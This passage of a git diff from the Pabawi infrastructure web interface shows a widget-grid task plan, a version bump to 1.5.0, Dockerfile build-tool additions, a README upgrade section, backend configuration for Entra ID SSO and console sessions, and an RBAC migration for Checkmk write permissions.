buttons in a dedicated header row, and per-widget async loading with error isolation. + +## Tasks + +- [x] 1. Create widget registry module and types + - [x] 1.1 Create `frontend/src/lib/widgetRegistry.svelte.ts` with `WidgetDefinition` interface, `WidgetType` type, `registerWidget()`, `getWidgets()`, and `_resetForTesting()` using Svelte 5 `$state` rune + - Implement colSpan clamping to [1,3] on registration + - Export `filterWidgetsByStatus()` pure function for integration filtering + - Export `stableSortByPriority()` pure function for priority ordering + - _Requirements: 1.1, 1.2, 1.3, 1.4, 1.5, 7.1_ + + - [x] 1.2 Write property tests for widget registry (`frontend/src/lib/widgetRegistry.property.test.ts`) + - **Property 1: Registration preserves widget definitions** + - **Property 2: Column span clamping** + - **Property 3: Integration filtering** + - **Property 4: Stable priority ordering** + - **Validates: Requirements 1.1, 1.2, 1.3, 2.2, 2.4, 3.2, 3.3** + +- [x] 2. Implement WidgetFrame and ActionRow components + - [x] 2.1 Create `frontend/src/components/WidgetFrame.svelte` with loading skeleton, error badge with retry, and content states + - Accept `WidgetDefinition` and `nodeId` props + - Map colSpan to responsive Tailwind classes (`col-span-1`, `sm:col-span-2 lg:col-span-2`, `sm:col-span-2 lg:col-span-3`) + - Show animated skeleton placeholder during loading + - Show error badge with integration name, error summary, and retry button on failure + - Mount widget component with `onReady`/`onError` callbacks; use `{#key mountKey}` for retry remounting + - _Requirements: 5.1, 5.3, 5.4, 6.1, 6.2, 6.4_ + + - [x] 2.2 Create `frontend/src/components/ActionRow.svelte` with horizontal flex layout for action widgets + - Render only when action widgets are present (no empty container) + - Use `flex flex-wrap gap-2` layout + - Render each action widget inside a WidgetFrame + - _Requirements: 4.1, 4.2, 4.4, 4.5_ + + - [x] 2.3 Write unit tests for WidgetFrame (`frontend/src/components/WidgetFrame.test.ts`) + - **Property 5: Column span applied to frame element** + - **Property 7: Error badge content** + - Test loading skeleton display, error state with retry, and content transition + - **Validates: Requirements 3.4, 5.4, 6.1, 6.2, 6.4** + +- [x] 3. Implement WidgetGrid orchestrator component + - [x] 3.1 Create `frontend/src/components/WidgetGrid.svelte` that fetches integration status, filters widgets, and renders grid + - Fetch `/api/integrations/status` on mount + - Filter widgets by enabled integrations (connected or degraded) + - Separate action widgets from grid widgets + - Sort both sets by priority (stable sort preserving registration order for ties) + - Render ActionRow above a `grid grid-cols-1 gap-4 sm:grid-cols-2 lg:grid-cols-4` container + - Show inline error notification when integration status endpoint fails + - _Requirements: 2.1, 2.2, 2.3, 2.4, 3.1, 3.2, 3.3, 3.4, 3.5, 3.6, 5.2_ + + - [x] 3.2 Write unit tests for WidgetGrid (`frontend/src/components/WidgetGrid.test.ts`) + - **Property 6: Action row composition** + - **Property 8: Error isolation** + - Test integration status error displays notification + - Test widgets with unknown integrations are excluded + - **Validates: Requirements 2.2, 2.3, 2.4, 4.2, 6.3** + +- [x] 4. Checkpoint + - Ensure all tests pass, ask the user if questions arise. + +- [x] 5. Create widget registration modules for existing content + - [x] 5.1 Create `frontend/src/lib/widgets/generalInfo.widget.ts` and `frontend/src/components/GeneralInfoWidget.svelte` + - Extract "General Information" section from NodeDetailPage into standalone widget + - Register as type `summary`, colSpan 2, priority 10, integration `bolt` + - Component calls `onReady()` after data loads, `onError(err)` on failure + - _Requirements: 8.1_ + + - [x] 5.2 Create `frontend/src/lib/widgets/latestActions.widget.ts` and `frontend/src/components/LatestActionsWidget.svelte` + - Extract execution history section from NodeDetailPage into standalone widget + - Register as type `list`, colSpan 2, priority 20, integration `bolt` + - _Requirements: 8.3_ + + - [x] 5.3 Create `frontend/src/lib/widgets/puppetRuns.widget.ts` and `frontend/src/components/PuppetRunsWidget.svelte` + - Extract latest puppet runs section from NodeDetailPage into standalone widget + - Register as type `list`, colSpan 3, priority 100, integration `puppetdb` + - _Requirements: 8.2_ + +- [x] 6. Create remaining widget registration modules + - [x] 6.1 Create `frontend/src/lib/widgets/monitoringSummary.widget.ts` and `frontend/src/components/MonitoringSummaryWidget.svelte` + - Extract Checkmk monitoring summary from NodeDetailPage into standalone widget + - Register as type `summary`, colSpan 2, priority 100, integration `checkmk` + - _Requirements: 8.4_ + + - [x] 6.2 Create `frontend/src/lib/widgets/consoleAccess.widget.ts` and `frontend/src/components/ConsoleAccessWidget.svelte` + - Extract console access button from NodeDetailPage into standalone widget + - Register as type `action`, colSpan 1, priority 100, integration `proxmox` + - _Requirements: 8.5_ + + - [x] 6.3 Create barrel file `frontend/src/lib/widgets/index.ts` importing all widget registration modules + - Import order: generalInfo, latestActions, puppetRuns, monitoringSummary, consoleAccess + - _Requirements: 7.3_ + +- [x] 7. Checkpoint + - Ensure all tests pass, ask the user if questions arise. + +- [x] 8. Wire WidgetGrid into NodeDetailPage and clean up + - [x] 8.1 Import `frontend/src/lib/widgets/index.ts` barrel and replace the overview tab content in `NodeDetailPage.svelte` with `` + - Remove the hardcoded overview sections that are now handled by widgets + - Preserve all other tabs (facts, actions, puppet, hiera, journal, manage, monitor) unchanged + - _Requirements: 3.1, 4.1, 5.2_ + + - [x] 8.2 Write integration test verifying WidgetGrid renders registered widgets with correct filtering (`frontend/src/components/WidgetGrid.integration.test.ts`) + - Mock `/api/integrations/status` response + - Register test widgets with various integration names + - Verify only enabled-integration widgets render + - Verify action widgets appear in ActionRow, grid widgets in the grid + - **Validates: Requirements 2.2, 4.2, 8.1, 8.2, 8.3, 8.4, 8.5** + +- [x] 9. Final checkpoint + - Ensure all tests pass, ask the user if questions arise. + +## Notes + +- Tasks marked with `*` are optional and can be skipped for faster MVP +- Each task references specific requirements for traceability +- Checkpoints ensure incremental validation +- Property tests validate universal correctness properties from the design document +- Unit tests validate specific examples and edge cases +- The design specifies TypeScript with Svelte 5 runes — all new `.svelte.ts` files use `$state` +- The `filterWidgetsByStatus` and `stableSortByPriority` functions are extracted as pure functions for easy unit/property testing +- Widget components follow the contract: accept `nodeId`, `onReady`, `onError` props +- No backend changes required (Requirement 7) + +## Task Dependency Graph + +```json +{ + "waves": [ + { "id": 0, "tasks": ["1.1"] }, + { "id": 1, "tasks": ["1.2", "2.1", "2.2"] }, + { "id": 2, "tasks": ["2.3", "3.1"] }, + { "id": 3, "tasks": ["3.2", "5.1", "5.2", "5.3"] }, + { "id": 4, "tasks": ["6.1", "6.2"] }, + { "id": 5, "tasks": ["6.3"] }, + { "id": 6, "tasks": ["8.1"] }, + { "id": 7, "tasks": ["8.2"] } + ] +} +``` diff --git a/AGENTS.md b/AGENTS.md index e957d81c..87ecc53a 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -95,9 +95,9 @@ The frontend uses **Svelte 5 runes** throughout (`$state()`, `$effect()`, `$deri ### Configuration -All configuration is via `backend/.env`. Run `scripts/setup.sh` for interactive setup. Key variable groups: `PORT/HOST/LOG_LEVEL`, `JWT_SECRET` (required), `PABAWI_LIFECYCLE_TOKEN` (optional), `BOLT_*`, `PUPPETDB_*`, `PUPPETSERVER_*`, `HIERA_*`, `ANSIBLE_*`, `SSH_*`, `AWS_*`, `AZURE_*`, `PROXMOX_*`, `COMMAND_WHITELIST*`, `CACHE_*`, `CONCURRENT_EXECUTION_LIMIT`, `MCP_ENABLED`. +All configuration is via `backend/.env`. Run `scripts/setup.sh` for interactive setup. Key variable groups: `PORT/HOST/LOG_LEVEL`, `JWT_SECRET` (required), `PABAWI_LIFECYCLE_TOKEN` (optional), `ENTRA_ID_*` (SSO), `BOLT_*`, `PUPPETDB_*`, `PUPPETSERVER_*`, `HIERA_*`, `ANSIBLE_*`, `SSH_*`, `AWS_*`, `AZURE_*`, `PROXMOX_*`, `COMMAND_WHITELIST*`, `CACHE_*`, `CONCURRENT_EXECUTION_LIMIT`, `MCP_ENABLED`. -See `docs/configuration.md` for the full reference. Other useful docs: `docs/mcp.md` (MCP setup and tools), `docs/permissions-rbac.md` (RBAC model), `docs/architecture.md` (system overview), `docs/api.md` (REST API reference), `docs/integrations/` (per-integration guides). +See `docs/configuration.md` for the full reference. Other useful docs: `docs/mcp.md` (MCP setup and tools), `docs/permissions-rbac.md` (RBAC model), `docs/architecture.md` (system overview), `docs/api.md` (REST API reference), `docs/integrations/` (per-integration guides), `docs/integrations/entra-id.md` (Azure Entra ID SSO setup). ### Testing conventions diff --git a/CHANGELOG.md b/CHANGELOG.md index 90b2deef..cedc4857 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,6 +1,9 @@ # Changelog -## [1.4.0] - Unreleased +## [1.5.0] - + + +## [1.4.0] - 2026-06-05 ### Added diff --git a/Dockerfile b/Dockerfile index 75614e35..9222041d 100644 --- a/Dockerfile +++ b/Dockerfile @@ -40,8 +40,16 @@ RUN npm run build # This runs on the target platform to ensure native modules (like sqlite3) are built correctly FROM node:20-bookworm-slim AS backend-deps WORKDIR /app/backend + +# Install build tools needed to compile sqlite3 from source +# Pre-built binaries may target a newer glibc than bookworm provides (2.36) +# hadolint ignore=DL3008 +RUN apt-get update && \ + apt-get install -y --no-install-recommends python3 make g++ && \ + rm -rf /var/lib/apt/lists/* + COPY backend/package*.json ./ -RUN npm install --omit=dev --no-audit +RUN npm install --omit=dev --no-audit --build-from-source # Stage 3: Install OpenBolt from OpenVox upstream packages FROM node:20-bookworm-slim AS bolt-builder @@ -67,7 +75,7 @@ ARG BUILDPLATFORM # Add metadata labels LABEL org.opencontainers.image.title="Pabawi" LABEL org.opencontainers.image.description="Puppet Ansible Bolt Awesome Web Interface" -LABEL org.opencontainers.image.version="1.4.0" +LABEL org.opencontainers.image.version="1.5.0" LABEL org.opencontainers.image.vendor="example42" LABEL org.opencontainers.image.source="https://github.com/example42/pabawi" diff --git a/Dockerfile.alpine b/Dockerfile.alpine index 979d54a5..e2f752db 100644 --- a/Dockerfile.alpine +++ b/Dockerfile.alpine @@ -40,8 +40,13 @@ RUN npm run build # This runs on the target platform to ensure native modules (like sqlite3) are built correctly FROM node:20-alpine3.21 AS backend-deps WORKDIR /app/backend + +# Install build tools needed to compile sqlite3 from source (no glibc pre-built binaries for musl) +# hadolint ignore=DL3018 +RUN apk add --no-cache python3 make g++ + COPY backend/package*.json ./ -RUN npm install --omit=dev --no-audit +RUN npm install --omit=dev --no-audit --build-from-source # Stage 3: Install Bolt CLI gems in a builder stage FROM node:20-alpine3.21 AS bolt-builder @@ -62,7 +67,7 @@ ARG BUILDPLATFORM # Add metadata labels LABEL org.opencontainers.image.title="Pabawi" LABEL org.opencontainers.image.description="Puppet Ansible Bolt Awesome Web Interface" -LABEL org.opencontainers.image.version="1.4.0" +LABEL org.opencontainers.image.version="1.5.0" LABEL org.opencontainers.image.vendor="example42" LABEL org.opencontainers.image.source="https://github.com/example42/pabawi" diff --git a/Dockerfile.ubuntu b/Dockerfile.ubuntu index ea441fac..d362b7aa 100644 --- a/Dockerfile.ubuntu +++ b/Dockerfile.ubuntu @@ -40,8 +40,16 @@ RUN npm run build # This runs on the target platform to ensure native modules (like sqlite3) are built correctly FROM node:20-bookworm-slim AS backend-deps WORKDIR /app/backend + +# Install build tools needed to compile sqlite3 from source +# Pre-built binaries may target a newer glibc than bookworm provides (2.36) +# hadolint ignore=DL3008 +RUN apt-get update && \ + apt-get install -y --no-install-recommends python3 make g++ && \ + rm -rf /var/lib/apt/lists/* + COPY backend/package*.json ./ -RUN npm install --omit=dev --no-audit +RUN npm install --omit=dev --no-audit --build-from-source # Stage 3: Install Bolt CLI gems in a builder stage FROM ubuntu:24.04 AS bolt-builder @@ -66,7 +74,7 @@ ARG BUILDPLATFORM # Add metadata labels LABEL org.opencontainers.image.title="Pabawi" LABEL org.opencontainers.image.description="Puppet Ansible Bolt Awesome Web Interface" -LABEL org.opencontainers.image.version="1.4.0" +LABEL org.opencontainers.image.version="1.5.0" LABEL org.opencontainers.image.vendor="example42" LABEL org.opencontainers.image.source="https://github.com/example42/pabawi" diff --git a/README.md b/README.md index 65c7ec5f..3003b072 100644 --- a/README.md +++ b/README.md @@ -31,7 +31,7 @@ - **Mixed-tool environments** — if you use both Puppet and Ansible, Pabawi brings them together in one interface - **Homelabbers** who just want a web frontend for their servers (SSH-only works fine) -If you manage "classic infrastructure" — bare metal, VMs, not Kubernetes — Pabawi is built for you. +If you manage "classic infrastructure" — bare metal, VMs, Kubernetes nodes — Pabawi is built for you. ## Table of Contents @@ -43,6 +43,7 @@ If you manage "classic infrastructure" — bare metal, VMs, not Kubernetes — P - [Quick Start](#quick-start) - [Manual Setup](#manual-setup) - [Docker](#docker) +- [Upgrading](#upgrading) - [Configuration](#configuration) - [Project Structure](#project-structure) - [Troubleshooting](#troubleshooting) @@ -154,6 +155,21 @@ The application starts at . For full Docker and Kubernetes deployment instructions, see the [Docker Deployment Guide](docs/deployment/docker.md) and [Kubernetes Guide](docs/deployment/kubernetes.md). +## Upgrading + +For existing installations, the upgrade path depends on your deployment method: + +| Method | Command | +|---|---| +| Git / source | `git fetch --tags && git checkout v && npm run install:all && npm run build` | +| Docker | `docker pull example42/pabawi:latest` then recreate the container | +| Docker Compose | `docker compose pull && docker compose up -d` | +| Helm / Kubernetes | `helm upgrade pabawi ./charts/pabawi --set image.tag=` | + +Database migrations run automatically on startup. Always back up your database and review the [CHANGELOG](CHANGELOG.md) for breaking changes before upgrading. + +Full instructions: [Upgrade Guide](docs/upgrading.md). + ## Configuration All configuration is in `backend/.env`. The setup script generates this file, or use `backend/.env.example` as a template. @@ -217,32 +233,11 @@ See the [Troubleshooting Guide](docs/troubleshooting.md) for common issues with See the [Development Guide](docs/development.md) for setup, testing, and contribution guidelines. -## Roadmap - -### Planned integrations - -- **Icinga / CheckMK** — monitoring context in the same interface -- **Terraform / OpenTofu** — infrastructure provisioning alongside configuration management - -### Also planned - -Scheduled executions, custom dashboards, CLI tool, audit logging, Tiny Puppet integration. ### Version History -- **v1.2.0**: Embedded MCP server with 8 read-only tools, RBAC permission gaps fixed, CreateRoleDialog, new Azure/Hiera/SSH permissions -- **v1.1.0**: Azure integration, Global Journal with cross-node timeline, security hardening, docs rewrite -- **v1.0.0**: Configuration refactor (`.env` as single source of truth), Proxmox and AWS provisioning, Node Journal, setup wizard `.env` snippet generators, Integration Status Dashboard -- **v0.10.0**: AWS EC2 integration, integration configuration management -- **v0.9.0**: Proxmox integration, Node Journal -- **v0.8.0**: RBAC authentication, SSH integration, inventory groups -- **v0.7.0**: Ansible integration, class-aware Hiera lookups -- **v0.6.0**: Code consolidation and fixes -- **v0.5.0**: Report filtering, Puppet run history visualization, enhanced expert mode -- **v0.4.0**: Hiera integration, enhanced plugin architecture -- **v0.3.0**: Puppetserver integration, interface enhancements -- **v0.2.0**: PuppetDB integration, re-execution, expert mode -- **v0.1.0**: Initial release with Bolt integration +See [CHANGELOG](CHANGELOG.md). + ## License @@ -253,7 +248,7 @@ Apache License 2.0 — see [LICENSE](LICENSE). **Documentation** - [Architecture](docs/architecture.md) | [Configuration](docs/configuration.md) | [User Guide](docs/user-guide.md) | [API Reference](docs/api.md) -- [Permissions & RBAC](docs/permissions-rbac.md) | [MCP Server](docs/mcp.md) | [Troubleshooting](docs/troubleshooting.md) | [Development](docs/development.md) +- [Permissions & RBAC](docs/permissions-rbac.md) | [MCP Server](docs/mcp.md) | [Upgrading](docs/upgrading.md) | [Troubleshooting](docs/troubleshooting.md) | [Development](docs/development.md) **Integrations** diff --git a/backend/.env.example b/backend/.env.example index 4774720e..b7e057b9 100644 --- a/backend/.env.example +++ b/backend/.env.example @@ -180,6 +180,40 @@ PROXMOX_SSL_REJECT_UNAUTHORIZED=true # PROXMOX_TIMEOUT=30000 # PROXMOX_PRIORITY=7 +# ----------------------------------------------------------------------------- +# Azure Entra ID SSO (optional) +# ----------------------------------------------------------------------------- +ENTRA_ID_ENABLED=false +# ENTRA_ID_TENANT_ID=12345678-abcd-efgh-ijkl-123456789012 +# ENTRA_ID_CLIENT_ID=abcdef01-2345-6789-abcd-ef0123456789 +# ENTRA_ID_CLIENT_SECRET= # pragma: allowlist secret +# ENTRA_ID_REDIRECT_URI=https://pabawi.example.com/api/auth/entra-id/callback +# Scopes (comma-separated, default: openid,profile,email) +# ENTRA_ID_SCOPES=openid,profile,email +# Group-to-role mapping (JSON object: {"azure-group-id": "pabawi-role-name"}) +# ENTRA_ID_GROUP_MAPPING={"e5f3a1b2-...":"administrator","c7d8e9f0-...":"operator"} +# Post-logout redirect URI (defaults to app base URL) +# ENTRA_ID_POST_LOGOUT_REDIRECT_URI=https://pabawi.example.com +# JWKS cache TTL in ms (default: 86400000 = 24 hours) +# ENTRA_ID_JWKS_CACHE_TTL_MS=86400000 + +# ----------------------------------------------------------------------------- +# Azure Entra ID SSO (optional) +# ----------------------------------------------------------------------------- +ENTRA_ID_ENABLED=false +# ENTRA_ID_TENANT_ID=12345678-abcd-efgh-ijkl-123456789012 +# ENTRA_ID_CLIENT_ID=abcdef01-2345-6789-abcd-ef0123456789 +# ENTRA_ID_CLIENT_SECRET= # pragma: allowlist secret +# ENTRA_ID_REDIRECT_URI=https://pabawi.example.com/api/auth/entra-id/callback +# Scopes (comma-separated, default: openid,profile,email) +# ENTRA_ID_SCOPES=openid,profile,email +# Group-to-role mapping (JSON object: {"azure-group-id": "pabawi-role-name"}) +# ENTRA_ID_GROUP_MAPPING={"e5f3a1b2-...":"administrator","c7d8e9f0-...":"operator"} +# Post-logout redirect URI (defaults to app base URL) +# ENTRA_ID_POST_LOGOUT_REDIRECT_URI=https://pabawi.example.com +# JWKS cache TTL in ms (default: 86400000 = 24 hours) +# ENTRA_ID_JWKS_CACHE_TTL_MS=86400000 + # ----------------------------------------------------------------------------- # AWS integration (optional) # ----------------------------------------------------------------------------- diff --git a/backend/package.json b/backend/package.json index 4d295c43..c31d7536 100644 --- a/backend/package.json +++ b/backend/package.json @@ -1,6 +1,6 @@ { "name": "backend", - "version": "1.4.0", + "version": "1.5.0", "description": "Backend API server for Pabawi", "main": "dist/server.js", "scripts": { @@ -20,7 +20,7 @@ "@azure/arm-resources-subscriptions": "^2.1.0", "@azure/identity": "^4.13.1", "@modelcontextprotocol/sdk": "^1.29.0", - "bcrypt": "^5.1.1", + "bcrypt": "^6.0.0", "cors": "^2.8.5", "dotenv": "^16.4.5", "express": "^4.19.2", @@ -28,8 +28,9 @@ "helmet": "^8.1.0", "jsonwebtoken": "^9.0.2", "pg": "^8.13.0", - "sqlite3": "^5.1.7", + "sqlite3": "^6.0.1", "ssh2": "^1.17.0", + "ws": "^8.21.0", "yaml": "^2.8.2", "zod": "^3.23.8" }, @@ -42,6 +43,7 @@ "@types/pg": "^8.11.0", "@types/ssh2": "^1.15.5", "@types/supertest": "^6.0.2", + "@types/ws": "^8.18.1", "fast-check": "^4.3.0", "supertest": "^7.0.0", "tsx": "^4.7.2", diff --git a/backend/src/config/ConfigService.ts b/backend/src/config/ConfigService.ts index f5f51bb3..2c4f5002 100644 --- a/backend/src/config/ConfigService.ts +++ b/backend/src/config/ConfigService.ts @@ -1,11 +1,15 @@ import { config as loadDotenv } from "dotenv"; import { AppConfigSchema, + ConsoleConfigSchema, type AppConfig, + type ConsoleConfig, + type EntraIdConfig, type WhitelistConfig, } from "./schema"; import { z } from "zod"; import { parseJson } from "../utils/json"; +import { LoggerService } from "../services/LoggerService"; /** * Configuration service to load and validate application settings @@ -13,6 +17,8 @@ import { parseJson } from "../utils/json"; */ export class ConfigService { private config: AppConfig; + private entraIdConfig: EntraIdConfig | null = null; + private consoleConfig: ConsoleConfig; constructor() { // Load .env file only if not in test environment @@ -20,10 +26,96 @@ export class ConfigService { loadDotenv(); } + // Parse console config with validation and warning logging + this.consoleConfig = this.parseConsoleConfig(); + // Parse and validate configuration this.config = this.loadConfiguration(); } + /** + * Parse and validate console configuration from CONSOLE_* environment variables. + * Logs warnings via LoggerService for invalid values and cross-field constraint violations. + */ + private parseConsoleConfig(): ConsoleConfig { + const logger = new LoggerService(); + const context = { component: "ConfigService" }; + const defaults = ConsoleConfigSchema.parse({}); + + const parsePositiveInt = ( + envName: string, + defaultValue: number, + minValue = 1, + ): number => { + const raw = process.env[envName]; + if (raw === undefined || raw === "") { + return defaultValue; + } + + const parsed = Number(raw); + if (!Number.isFinite(parsed) || !Number.isInteger(parsed) || parsed < minValue) { + logger.warn( + `Invalid value for ${envName}="${raw}" (must be an integer >= ${String(minValue)}). Using default: ${String(defaultValue)}`, + context, + ); + return defaultValue; + } + + return parsed; + }; + + const sessionTimeoutMs = parsePositiveInt( + "CONSOLE_SESSION_TIMEOUT_MS", + defaults.sessionTimeoutMs, + ); + const maxSessionDuration = parsePositiveInt( + "CONSOLE_MAX_SESSION_DURATION", + defaults.maxSessionDuration, + ); + const maxConcurrentSessions = parsePositiveInt( + "CONSOLE_MAX_CONCURRENT_SESSIONS", + defaults.maxConcurrentSessions, + ); + const heartbeatIntervalMs = parsePositiveInt( + "CONSOLE_HEARTBEAT_INTERVAL_MS", + defaults.heartbeatIntervalMs, + ); + + // TLS verification for the upstream console host. Secure by default; only a + // literal "false" opts out. Any other value keeps verification enabled. + const rawVerifyTls = process.env.CONSOLE_VERIFY_UPSTREAM_TLS; + const verifyUpstreamTls = !(rawVerifyTls?.toLowerCase() === "false"); + if (!verifyUpstreamTls) { + logger.warn( + "CONSOLE_VERIFY_UPSTREAM_TLS=false — upstream console TLS certificate verification is DISABLED. The proxied console session is exposed to man-in-the-middle attacks. Only use this on trusted networks with self-signed upstream certificates.", + context, + ); + } + + // Cross-field validation: heartbeat must be less than session timeout (Req 11.6) + if (heartbeatIntervalMs >= sessionTimeoutMs) { + logger.warn( + `CONSOLE_HEARTBEAT_INTERVAL_MS (${String(heartbeatIntervalMs)}) must be less than CONSOLE_SESSION_TIMEOUT_MS (${String(sessionTimeoutMs)}). Using defaults for both: heartbeatIntervalMs=${String(defaults.heartbeatIntervalMs)}, sessionTimeoutMs=${String(defaults.sessionTimeoutMs)}`, + context, + ); + return { + sessionTimeoutMs: defaults.sessionTimeoutMs, + maxSessionDuration, + maxConcurrentSessions, + heartbeatIntervalMs: defaults.heartbeatIntervalMs, + verifyUpstreamTls, + }; + } + + return { + sessionTimeoutMs, + maxSessionDuration, + maxConcurrentSessions, + heartbeatIntervalMs, + verifyUpstreamTls, + }; + } + /** * Parse integrations configuration from environment variables */ @@ -610,6 +702,101 @@ export class ConfigService { return integrations; } + /** + * Parse Entra ID (Azure AD) authentication configuration from environment variables. + * Skips all parsing when ENTRA_ID_ENABLED is not "true". + * Throws with all missing variable names when enabled but required vars are absent. + */ + private parseEntraIdConfig(): EntraIdConfig | null { + if (process.env.ENTRA_ID_ENABLED !== "true") { + return null; + } + + // Collect all missing required variables + const missing: string[] = []; + const tenantId = process.env.ENTRA_ID_TENANT_ID; + const clientId = process.env.ENTRA_ID_CLIENT_ID; + const clientSecret = process.env.ENTRA_ID_CLIENT_SECRET; // pragma: allowlist secret + const redirectUri = process.env.ENTRA_ID_REDIRECT_URI; + + if (!tenantId) missing.push("ENTRA_ID_TENANT_ID"); + if (!clientId) missing.push("ENTRA_ID_CLIENT_ID"); + if (!clientSecret) missing.push("ENTRA_ID_CLIENT_SECRET"); // pragma: allowlist secret + if (!redirectUri) missing.push("ENTRA_ID_REDIRECT_URI"); + + if (missing.length > 0) { + throw new Error( + `Entra ID authentication is enabled but required configuration variables are missing: ${missing.join(", ")}`, + ); + } + + // After the guard above, these are guaranteed non-empty strings. + // Narrow explicitly so TypeScript tracks the guarantee without assertions. + if (!tenantId || !clientId || !clientSecret || !redirectUri) { + // Unreachable — the missing[] guard above already throws. + throw new Error("Unreachable: required Entra ID variables validated"); + } + + // Parse optional scopes (comma-separated, discard empty entries) + const scopesRaw = process.env.ENTRA_ID_SCOPES; + const scopes = scopesRaw + ? scopesRaw.split(",").map((s) => s.trim()).filter(Boolean) + : ["openid", "profile", "email"]; + + // Parse optional group mapping (JSON Record) + let groupMapping: Record | null = null; + const groupMappingRaw = process.env.ENTRA_ID_GROUP_MAPPING; + if (groupMappingRaw) { + try { + const parsed = parseJson(groupMappingRaw); + if ( + typeof parsed !== "object" || + parsed === null || + Array.isArray(parsed) + ) { + throw new Error("must be a JSON object"); + } + // Validate all keys and values are strings + for (const [key, value] of Object.entries(parsed as Record)) { + if (typeof key !== "string" || typeof value !== "string") { + throw new Error("all keys and values must be strings"); + } + } + groupMapping = parsed as Record; + } catch (error) { + throw new Error( + `ENTRA_ID_GROUP_MAPPING contains invalid JSON: ${error instanceof Error ? error.message : "parse error"}`, + ); + } + } + + // Parse optional post-logout redirect URI + const postLogoutRedirectUri = + process.env.ENTRA_ID_POST_LOGOUT_REDIRECT_URI ?? undefined; + + // Parse optional JWKS cache TTL + const jwksCacheTtlMs = process.env.ENTRA_ID_JWKS_CACHE_TTL_MS + ? parseInt(process.env.ENTRA_ID_JWKS_CACHE_TTL_MS, 10) + : undefined; + + // At this point tenantId, clientId, clientSecret, redirectUri are guaranteed non-empty + // (we threw above if any were falsy) + const config: EntraIdConfig = { + enabled: true, + tenantId, + clientId, + clientSecret, // pragma: allowlist secret + redirectUri, + scopes, + groupMapping, + postLogoutRedirectUri, + jwksCacheTtlMs: jwksCacheTtlMs ?? 86400000, + }; + + this.entraIdConfig = config; + return config; + } + /** * Load configuration from environment variables with validation */ @@ -728,6 +915,8 @@ export class ConfigService { ui, mcpEnabled: process.env.MCP_ENABLED === "true", mcpAuthToken: process.env.MCP_AUTH_TOKEN ?? undefined, + entraId: this.parseEntraIdConfig() ?? undefined, + console: this.consoleConfig, }; // Validate with Zod schema @@ -981,4 +1170,19 @@ export class ConfigService { } return null; } + + /** + * Get Entra ID authentication configuration if enabled. + * Returns null when ENTRA_ID_ENABLED is not "true". + */ + public getEntraIdConfig(): EntraIdConfig | null { + return this.entraIdConfig; + } + + /** + * Get console session configuration + */ + public getConsoleConfig(): ConsoleConfig { + return this.consoleConfig; + } } diff --git a/backend/src/config/schema.ts b/backend/src/config/schema.ts index 0a34e0c6..c7becb7d 100644 --- a/backend/src/config/schema.ts +++ b/backend/src/config/schema.ts @@ -376,6 +376,23 @@ export const CheckmkConfigSchema = z.object({ export type CheckmkConfig = z.infer; +/** + * Azure Entra ID (OpenID Connect) authentication provider configuration schema + */ +export const EntraIdConfigSchema = z.object({ + enabled: z.boolean().default(false), + tenantId: z.string().min(1), + clientId: z.string().min(1), + clientSecret: z.string().min(1), + redirectUri: z.string().url(), + scopes: z.array(z.string()).default(["openid", "profile", "email"]), + groupMapping: z.record(z.string(), z.string()).nullable().default(null), + postLogoutRedirectUri: z.string().url().optional(), + jwksCacheTtlMs: z.number().int().positive().default(86400000), // 24 hours +}); + +export type EntraIdConfig = z.infer; + /** * Integrations configuration schema */ @@ -392,6 +409,25 @@ export const IntegrationsConfigSchema = z.object({ export type IntegrationsConfig = z.infer; +/** + * Console session configuration schema + */ +export const ConsoleConfigSchema = z.object({ + sessionTimeoutMs: z.number().int().positive().default(300000), + maxSessionDuration: z.number().int().positive().default(28800000), + maxConcurrentSessions: z.number().int().min(1).default(3), + heartbeatIntervalMs: z.number().int().positive().default(30000), + /** + * Whether to verify the TLS certificate of the upstream console host + * (VNC/terminal websocket). Defaults to `true` (secure). Set to `false` + * only for trusted networks with self-signed upstream certificates — + * disabling it exposes the proxied session to MITM. + */ + verifyUpstreamTls: z.boolean().default(true), +}); + +export type ConsoleConfig = z.infer; + /** * Application configuration schema with Zod validation */ @@ -432,8 +468,10 @@ export const AppConfigSchema = z.object({ integrations: IntegrationsConfigSchema.default({}), provisioning: ProvisioningConfigSchema.default({ allowDestructiveActions: false }), ui: UIConfigSchema.default({ showHomePageRunChart: true }), + console: ConsoleConfigSchema.default({}), mcpEnabled: z.boolean().default(false), mcpAuthToken: z.string().optional(), + entraId: EntraIdConfigSchema.optional(), }); export type AppConfig = z.infer; diff --git a/backend/src/container/DIContainer.ts b/backend/src/container/DIContainer.ts index 6f02db04..1e312998 100644 --- a/backend/src/container/DIContainer.ts +++ b/backend/src/container/DIContainer.ts @@ -1,11 +1,13 @@ import { LoggerService } from "../services/LoggerService"; import { ExpertModeService } from "../services/ExpertModeService"; import { ConfigService } from "../config/ConfigService"; +import type { EntraIdService } from "../services/EntraIdService"; export interface ServiceRegistry { logger: LoggerService; expertMode: ExpertModeService; config: ConfigService; + entraId?: EntraIdService; } export class DIContainer { diff --git a/backend/src/database/migrations/016_checkmk_write_permissions.postgres.sql b/backend/src/database/migrations/016_checkmk_write_permissions.postgres.sql new file mode 100644 index 00000000..128957ab --- /dev/null +++ b/backend/src/database/migrations/016_checkmk_write_permissions.postgres.sql @@ -0,0 +1,31 @@ +-- Migration: 016_checkmk_write_permissions (PostgreSQL variant) +-- Description: Add checkmk:write permission for acknowledging problems and +-- scheduling downtimes via the Checkmk REST API. Granted to the +-- Operator and Administrator roles only (not Viewer/Provisioner), +-- since these are mutating monitoring actions. +-- rbacMiddleware('checkmk','write') gates the POST action routes. +-- Date: 2025-08-01 + +-- ============================================================================ +-- PERMISSIONS: Checkmk write actions +-- ============================================================================ + +INSERT INTO permissions (id, resource, "action", description, created_at) VALUES + ('checkmk-write-001', 'checkmk', 'write', 'Acknowledge problems and schedule downtimes in Checkmk', CURRENT_TIMESTAMP) + ON CONFLICT DO NOTHING; + +-- ============================================================================ +-- ROLE-PERMISSION ASSIGNMENTS: Operator role +-- ============================================================================ + +INSERT INTO role_permissions (role_id, permission_id, assigned_at) VALUES + ('role-operator-001', 'checkmk-write-001', CURRENT_TIMESTAMP) + ON CONFLICT DO NOTHING; + +-- ============================================================================ +-- ROLE-PERMISSION ASSIGNMENTS: Administrator role +-- ============================================================================ + +INSERT INTO role_permissions (role_id, permission_id, assigned_at) VALUES + ('role-admin-001', 'checkmk-write-001', CURRENT_TIMESTAMP) + ON CONFLICT DO NOTHING; diff --git a/backend/src/database/migrations/016_checkmk_write_permissions.sql 